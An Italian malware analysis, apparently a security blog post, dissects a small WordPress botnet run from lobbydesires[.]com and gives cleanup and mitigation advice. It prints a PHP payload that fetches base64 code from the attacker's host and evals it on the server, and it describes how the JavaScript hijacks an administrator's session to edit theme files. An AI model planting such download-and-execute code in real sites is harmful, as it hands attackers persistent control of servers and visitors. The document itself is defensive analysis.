Lobbydesires botnet
Di recente è stato segnalato il malfunzionamento di alcuni siti WordPress. Dall’esame di questi siti è emerso che erano infettati da una piccola botnet sconosciuta e molto recente. Questo tipo di compromissione di un sito web rientra tra i bersagli verificati durante un audit intrusivo. Ecco l’analisi:
EDIT 14/07/20: ecco gli script che permettono di rilevare e rimuovere questo malware:
https://github.com/Guiomuh
/WP_Redirect_Botnet_Cleaner
Analisi generale
Tutto è iniziato con la scoperta del seguente payload JavaScript sospetto in un sito WordPress:
Ci si rende presto conto che il sito https://lobbydesires[.]com è un server C&C (Command and Control) che ospita il codice malevolo di questo malware. Ciò consente all’attaccante di modificare a piacimento le funzionalità della botnet.
Si parte dall’analisi generale di questo malware. Innanzitutto un semplice WHOIS sul nome di dominio utilizzato rivela che il sito è ospitato nei Paesi Bassi e che è stato registrato il 29 giugno 2020, cioè appena 4 giorni prima. Eppure, in così pochi giorni, numerosi siti sono già stati infettati!
È infatti possibile usare la seguente ricerca Google per elencare la parte dei siti infetti che sono stati indicizzati dopo l’infezione:
intext:lobbydesires[.]com/location.js
Al momento emergono 260 siti, ma il numero è probabilmente molto più alto, dati i tempi di reindicizzazione di un sito web da parte dei bot di Google.
Analisi tecnica: location.js
Ecco il codice del file location.js, che viene scaricato dal sito lobbydesires.com e poi eseguito a ogni visita di una pagina infetta.
Come promemoria, qui si parla di codice JavaScript: il codice viene quindi eseguito nel browser della persona che visita il sito e non sul sito stesso
Si nota che il codice è stato offuscato: servirà un po’ di lavoro per renderlo comprensibile.
Dopo un po’ di pulizia, in questo file si trovano 3 funzioni JS:
check_adm()
make_theme()
reqListener()
reqListener()
L’ultima funzione reqListener() è vuota, il che lascia pensare che la botnet non sia completa, ma su questo punto si tornerà più avanti.
check_admin()
Questa è la funzione principale del malware, quella che viene eseguita dopo la definizione delle funzioni. Si occupa di verificare, tramite i cookie, se l’utente che visita la pagina infetta è l’amministratore del sito WordPress. In caso contrario l’utente viene reindirizzato alla pagina di login. Se si tratta dell’amministratore, viene allora chiamata la funzione make_theme() .
Questo meccanismo serve a bloccare la pagina finché l’amministratore non la visita, piuttosto subdolo in effetti.
make_theme()
Questa funzione inizia effettuando una richiesta GET al seguente indirizzo:
http://[victime.com]/wp-admin/theme-editor.php?file=header.php
Questa è la pagina di WordPress che consente all’amministratore di modificare il tema corrente, in particolare qui il file header.php del tema.
Il malware recupera quindi alcune informazioni dalla pagina tramite espressioni regolari. Queste informazioni gli serviranno in seguito per interagire con la pagina.
i = /name=”newcontent”.*?[>]([\/\s\/\S]*?)</textarea/g.exec(n),
d = /<option.*?value=”(.*?)”.*?selected/g.exec(n),
p = /name=”nonce”([ ]+)value=”([^”]+)”/g.exec(n);
- i[1] contiene il contenuto di header.php prima della modifica
- d[1] contiene il nome del tema utilizzato
- p[2] contiene il valore del nonce che verrà utilizzato per le richieste successive
La funzione verifica poi se il tema non sia già infetto, cercando la presenza della stringa “sdfsd23” (presente nel 2° payload (PHP) mostrato più sotto). Se il tema non è già infetto, gli vengono aggiunti 2 payload all’inizio. Uno in JavaScript, simile al precedente:
E uno contenente codice PHP: (semplificato qui per una migliore comprensione)
<?php
$a = https://lobbydesires[.]com/n.txt;
$b = "sdfsd234";
file_put_contents($b,"<?php".base64_decode(file_get_contents($a)));
include($b);
unlink($b);
eval(base64_decode(file_get_contents($a)));
?>
Questo codice PHP viene quindi eseguito sul server a ogni caricamento di pagina. Ma che cosa fa?
Analisi tecnica: persistenza nel tema WP
Il payload PHP precedente si occupa di scaricare ed eseguire il file https://lobbydesires[.]com/n.txt
Questo file è uno script PHP codificato in base64
Come promemoria, qui si parla di codice PHP: il codice viene quindi eseguito sul server infetto
Il cuore di questo file contiene diverse funzioni ma, per semplificare, cerca determinati file a partire dalla root del server per infettarli.
Ciò implica che anche gli altri siti ospitati sullo stesso server possono essere infettati!!
Questa ricerca si può suddividere in 4 parti:
- La ricerca del file wp-config.php
- La ricerca di file con un nome contenente “.ph” o “.htm”
- La ricerca di file con un nome contenente “index.” e (“.ph” o “.htm”)
- La ricerca di file con un nome contenente “.js”
Sebbene il metodo di ricerca non sia ottimale, si vede chiaramente che il malware prende di mira i file JS, PHP e HTML. In ogni caso un payload JavaScript simile ai precedenti viene aggiunto al file trovato, tranne nel caso di wp-config.php
Infatti, una volta trovato, questo file viene analizzato alla ricerca delle credenziali del database SQL di WordPress. Queste vengono poi utilizzate per aggiungere il payload JavaScript a tutti gli articoli di WordPress.
Una botnet in fasce?
Come già indicato, questa botnet non sembra completa. Oltre a non disporre ancora di payload in grado di lanciare attacchi, alcune funzionalità sono incomplete.
Per citare un solo esempio, si può parlare del file rebut.log :
Questo file, creato durante l’esecuzione del codice PHP malevolo, contiene la data della sua ultima esecuzione. Viene utilizzato all’inizio dell’esecuzione per verificare se l’ultima esecuzione risale a più o meno di 6400 secondi prima. Probabilmente allo scopo di evitare che il malware venga rieseguito a ogni caricamento di pagina, cosa che può rallentare gravemente il sito. Tuttavia in entrambi i casi viene eseguita la stessa cosa, il che è incoerente.
Il nome di questo file, rebut.log (“scarto” in francese), sembra essere un indizio del fatto che l’attaccante sia francofono.
Si può poi notare che i payload JavaScript possiedono un parametro inutilizzato che indica da dove sono stati richiamati, in sintesi:
location.js?i=1 -> from index.php
location.js?s=1 -> from .php .htm or JS
location.js?qs=1 -> from SQL DB article
location.js?v=1 -> from Infected Theme (header.php)
Oltre a ciò, si nota un’importante ridondanza del codice, che può essere un indizio dell’inesperienza del suo autore.
Infine, si può notare l’assenza di ridondanza del server di controllo. Normalmente, in malware di questo tipo, più server infetti vengono utilizzati in ridondanza per archiviare i file di codice. Questo affinché l’attaccante possa mantenere il controllo della propria botnet anche se il server viene segnalato.
In questo caso viene utilizzato un solo server, che è stato segnalato 😀: è quindi solo questione di tempo prima che questa botnet diventi inutilizzabile.
EDIT (05/07/2020): il server non è più disponibile ad oggi
Conclusione
Sebbene attualmente innocuo, questo virus è molto persistente e si aggiorna a ogni visita di una pagina infetta. La situazione può quindi cambiare a breve e questa botnet potrebbe rivelare rapidamente la sua vera funzione. È quindi essenziale ripulire un sito che sia stato infettato. A questo scopo è stato pubblicato uno script che consente di effettuare una pulizia completa di questo malware. Questo malware è infatti molto persistente e dimenticare una sola pagina basterebbe a provocare una reinfezione completa dei siti ospitati sul server.
Nel frattempo, una correzione rapida consiste nel bloccare il dominio lobbydesires[.]com nel firewall o, in mancanza, nell’aggiungerlo al file hosts. Questa correzione non è però completa: evita soltanto il download, e quindi l’aggiornamento, del payload PHP inserito nel tema.
Ci si potrebbe anche chiedere come sia avvenuta la prima infezione. Un’ipotesi è la presenza di una vulnerabilità Stored XSS in un WordPress o in un plugin non aggiornato. Vulnerabilità di questo tipo sono infatti comuni e permetterebbero di iniettare il payload JS iniziale, infettando così la prima pagina, che a sua volta infetterà tutto il sito se visitata dall’amministratore. La stessa famiglia di vulnerabilità applicative viene ricercata nell’analisi di mitm6, una presa di controllo della rete interna tramite IPv6.
Consigli: per proteggersi da questo tipo di attacco è indispensabile mantenere aggiornati il sito WordPress e i suoi plugin!
